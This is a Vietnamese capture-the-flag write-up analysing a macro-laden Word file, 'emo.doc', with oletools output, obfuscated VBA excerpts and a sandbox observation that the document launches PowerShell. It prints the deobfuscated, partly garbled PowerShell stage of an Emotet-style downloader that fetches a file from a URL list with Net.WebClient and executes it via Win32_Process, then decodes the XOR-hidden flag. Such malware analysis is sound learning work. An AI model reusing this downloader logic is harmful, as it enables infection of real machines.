

I. EMO (EASY)

- Đề cho một file emo.doc có chứa macros, tương tự với bài Diagnostic cũng cung cấp file .doc, em dùng công cụ oletools để phân tích

```
luongdung@DESKTOP-CBPS8LU:~/malware$ oleid emo.doc
oleid 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
```

Filename: emo.doc			
WARNING For now, VBA stomping cannot be detected for files in memory			
Indicator	Value	Risk	Description
File format	MS Word 97-2003 Document or Template	info	
Container format	OLE	info	Container type
Application name	Microsoft Office Word	info	Application name declared in properties
Properties code page	1252: ANSI Latin 1; Western European (Windows)	info	Code page used for properties
Encrypted	False	none	The file is not encrypted
VBA Macros	Yes, suspicious	HIGH	This file contains VBA macros. Suspicious keywords were found. Use olevba and mraptor for more info.
XLM Macros	No	none	This file does not contain Excel 4/XLM macros.
External Relationships	0	none	External relationships such as remote templates, remote OLE objects, etc

Với thông tin từ đây, sử dụng olevba để tìm hiểu VBA macros.

```
TAKBR(KsEsBaCtA + KsEsBaCtA) = 6 + Oct(116) + YSVFIA + CDBl(6) + (6 + MakKGA + qhhoEEA + Cos(5))
Dim ojnIHCE(7 + 5 + 1 + 7) As String
Set UuAPGAFFH = (jdxSsGH)
Dim BetFkm(6 + 5 + 1 + 5) As String
ojnIHCE(JoDasPDE) = (Sin(8) + 6 + 40)
IWHWCHJLB = sqHqe
ojnIHCE(JoDasPDE + JoDasPDE) = (JdtFGmA + 5)
ojnIHCE(JoDasPDE + JoDasPDE) = 2 + Oct(7819) + Rwbj + CDBl(9) + (4 + YBDHHCIR + FMTZFCBH + Cos(2894))
Set Y5ruqlpmxek134Bfi = CreateObject(HyS393z_cul)
Dim XayLAAE(6 + 7 + 1 + 7) As String
Set hBkDI = (kuHYCInr)
Dim GudOBwJFg(6 + 8 + 1 + 4) As String
XayLAAE(DFPBFGJ) = (Sin(8) + 632 + 555)
MOOXq = yIMQNHJJ
XayLAAE(DFPBFGJ + DFPBFGJ) = (QRUDtDeBh + 8952)
XayLAAE(DFPBFGJ + DFPBFGJ) = 6 + Oct(4) + ydSHWJF + CDBl(464) + (6107 + jBTBKJJ + gFSXE + Cos(4815))
Dim cREZHj(6 + 7 + 1 + 5) As String
Set fCASJI = (sNHBGJB)
Dim ohlBI(5 + 5 + 1 + 7) As String
cREZHj(EPsmDJFHe) = (Sin(740) + 13 + 3027)
OZHqLi = bYDhROF
cREZHj(EPsmDJFHe + EPsmDJFHe) = (NgGemeSEB + 3)
cREZHj(EPsmDJFHe + EPsmDJFHe) = 2011 + Oct(8) + TddilDt + CDBl(423) + (3 + DajuFERHE + WvQuFBA + Cos(23))
End Function

VBA FORM STRING IN 'emo.doc' - OLE stream: 'Macros/Get4ipjzmjfvfp/o'
-----
]]((s)]wP]]((s)]w
-----
VBA FORM STRING IN 'emo.doc' - OLE stream: 'Macros/Get4ipjzmjfvfp/o'
-----
]]((s)]utar]]((s)]w
-----
VBA FORM STRING IN 'emo.doc' - OLE stream: 'Macros/Get4ipjzmjfvfp/o'
-----
]]((s)]wtu]]((s)]w
-----
VBA FORM Variable 'b'Fwder3b7t4tqrecw' IN 'emo.doc' - OLE stream: 'Macros/Get4ipjzmjfvfp'
-----
b']]((s)]wP]]((s)]w'
-----
VBA FORM Variable 'b'Mvskm12if9c843w3' IN 'emo.doc' - OLE stream: 'Macros/Get4ipjzmjfvfp'
-----
b']]((s)]utar]]((s)]w'
-----
VBA FORM Variable 'b'Cb8r2cg8i626zt' IN 'emo.doc' - OLE stream: 'Macros/Get4ipjzmjfvfp'
-----
b']]((s)]wtu]]((s)]w'
-----
```

Type	Keyword	Description
AutoExec	Document_open	Runs when the Word or Publisher document is opened
Suspicious	Create	May execute file or a system command through WMI
Suspicious	CreateObject	May create an OLE object
Suspicious	ChrW	May attempt to obfuscate specific strings (use option --deobf to deobfuscate)
Suspicious	Hex Strings	Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)

Ta chỉ thấy được đoạn mã được obfuscated rất dài...

2. Vì file `emo.doc` có chứa macro, nên em sẽ dùng máy ảo VirtualBox hoặc dùng web `any.run`, ở đây em chọn dùng `any.run` để phân tích, chạy file trong môi trường ảo và ghi lại hành vi của file. Nhận thấy rằng khi chạy file, Windows dùng `WINWORD.EXE` và mở tới `PowerShell.exe`, chính là payload cần tìm.

[illegible]

3. Decode Base64 với payload trên, và thử deobfuscated em có được

```
SV 0zX ([Type]('2){0}{4}{3}{1})-f 'e', 'rEctorY', 'sYst', 'IO.dI', 'W') }
set TxySeo ( [Type]('0){7}{5}{6}{4}{2}{1}{8}{3})-f 'SYsTE', 'TM', 'IN', 'ER', 'pO', 'NeT.se', 'RVICE', 'H.', 'ANaG'})
$Nbf5tg3-('B9'+yp+'90'+s');
$Vxnlre0-$Cludkjx + [char](64) + $R6rituy;$Ky3q0e8-('Rq'+dx)+'wo'+5');
( Dir $varIable:0zX).value::"CreAt'E dREc'T'OrY"($HOME + (((nDp+'Jrb')+'e'+vk4n')+'D'+p+'('C'+cwr_2h')+'nD'+p') -RePLAcE ('n'+Dp'),[char]92));
$FN5ggmsH = (182,187,229,146,231,177,151,149,166);
$Pyozgeo-('35f'+y1+'c'+c');
( $varIABLE TxySeo ).Value::"SecUrI'TyP'R'OtOc'ol" = (('Tl'+s1')+'2');
$FN5ggmsH += (185,141,228,182,177,171,229,236,239,239,239,228,181,182,171,229,234,239,239,228);
$HuaJgb0-('Jn'+o)+'5g'+a1);
$Bb28umo = (('Ale'+7g)+'8');
$Hsce_js-('Kv'+('nb'+ov.'));
$Spk5lue-('C'+7xo)+'9g'+1);
$Scusbkj-$HOME+('5'+t+'('f+'Jrbev'+k')+'45tf'+Cc'+w')+'n'+('2h'+5tf') -rEpIACE ([Char]53+[Char]116+[Char]102),[Char]92)+$Bb28umo+('e'+x')+'e');
$FN5ggmsH += (185,179,190,184,229,151,139,157,164,235,177,239,171,183,236,141,128,187,235,134,128,158,177,176,139);
$hmbskV2T-('C'+7xo)+'9g'+1);
$hmbskV2T-('5'+t+'('f+'Jrbev'+k')+'45tf'+Cc'+w')+'n'+('2h'+5tf') -rEpIACE ([Char]53+[Char]116+[Char]102),[Char]92)+$Bb28umo+('c'+o')+'nf');$Q1_y05-('W'+('4'+quy')+'z8');
$Odb3hf3-('n'+e+'5-u'object') Net.WebClient;
$FN5ggmsH += (183,154,173,128,175,151,238,148,183,162,228,170,173,179,229);
$Anbytlty-('h'+('tp:'+'J](s'))+('w'+[(')+(s')+'Jw')+'da'+-)+1'+n'+du'+('s'+trial.'+h'+t')+'b'+
('s)]+'w'+js')+[(')+(s')+'Jw9IdL'+P]]+'(s')+'Jw'+@h))+('t'+tp:)]+'(s')+'Jw'+('J](s))'+
('udap'+ro+'fesion'+L'h')+'tb'+[(')+(s')+'Jw'+('d'+ata')+'4]]+'(s')+'Jw'+('NgW'+JT'+('VJ'+[(')+
('s)]+'w'+htp+'s:]]+'(s')+'Jw'+[(')+(s')+'Jw'+('da'+-)+1'+n'+du'+('s'+trial.'+h'+t')+'b'+
('Jw'+p'+dm'+in]]+'(s')+'Jw'+[(')+(s')+'Jw'+('da'+-)+1'+n'+du'+('s'+trial.'+h'+t')+'b'+
('ok'+e')+'nv'+1'+('s'+ions.'+('htb'+[(')+(s')+'Jw'+('da'+-)+1'+n'+du'+('s'+trial.'+h'+t')+'b'+
('p'+htp:)]+'(s')+'Jw'+[(')+(s')+'Jw'+('da'+-)+1'+n'+du'+('s'+trial.'+h'+t')+'b'+
('s)]+'w'+('J](s))'+308]]+'(s')+'Jw'+('da'+-)+1'+n'+du'+('s'+trial.'+h'+t')+'b'+
('h'+t'+b]]+'(s')+'Jw'+('da'+-)+1'+n'+du'+('s'+trial.'+h'+t')+'b'+
('J](s)]+'w'+g]+('l'+o')+'(gist'+1'+('cs.'+h')+'t'+('b')+'[+'+'(s')+'Jw'+('da'+-)+1'+n'+du'+('s'+trial.'+h'+t')+'b'+
('k'+('B')+'(s')+'(s')+'Jw')+'repLACE(''+[+'+'(s')+'w'),([array]('',''),('w'+e'))[0]).
"SP.LIT"($Ivg3zcu + $Vxnlre0 + $Jzaewdy);
$Gcopylv-('kf'+-)+('9'+etl));
foreach ($AB13kel in $Anbytlty){
    try{
        $Odb3hf3,"dO'nLOA'dfILE"($AB13kel, $Scusbkj);
        $Zhcnaux-('Ek'+k')+'j'+47t);
        If ((&('Get-I'+te+m') $Scusbkj).Len.GTh -ge 45199) {($AB13KE1,"{1}{2}{0}" -f 'py', 'ToCha', 'rArr').Invoke() |
            ,('2){1}{0}{3}" -f '-', 'ch', 'ForE', 'Object') -process ($FN5_ggmSh) += ([byte][char]$(_ -bxor 0xdf 0);
$FN5ggmsH += (228);
$b0Rje = [type]('1){0}" -f 'VerI', 'Con');
$b0RJE::"tO'Bas'E64S'TRI'Ng"($FN5_ggmSh) | ,('2){1}{0}" -f 'ile', 'ut-f', 'o') $HbmsK_V2T);
[wmiclass]('wi'+n')+'32'+Proc'+e')+'s'+s')."cR'eaTE"($Scusbkj);
$GluKi6a-('I'+m'+('td'+xv6'));
break;
$Pfpbhl-('Vs'+('lal'+c')+'u'))catch{}$F47ieF2-('Bn'+zid')+'rt')
}
```

Thông qua những dòng gần cuối, em thấy rằng payload đã được giấu thông qua XOR từng số trong \$FN5ggmsH với key 0xdf, sau đó encode base64.

4. Cuối cùng em viết được đoạn code giải ra payload cũng chính là flag cần tìm

```
C:\Users\ADMIN\Documents\Code\python\python>python a.py
id:M8nHJYeR;int:3000;jit:500;flag:HTB{4n0th3R_d4Y_AnoThEr_pH1Sh};url:
```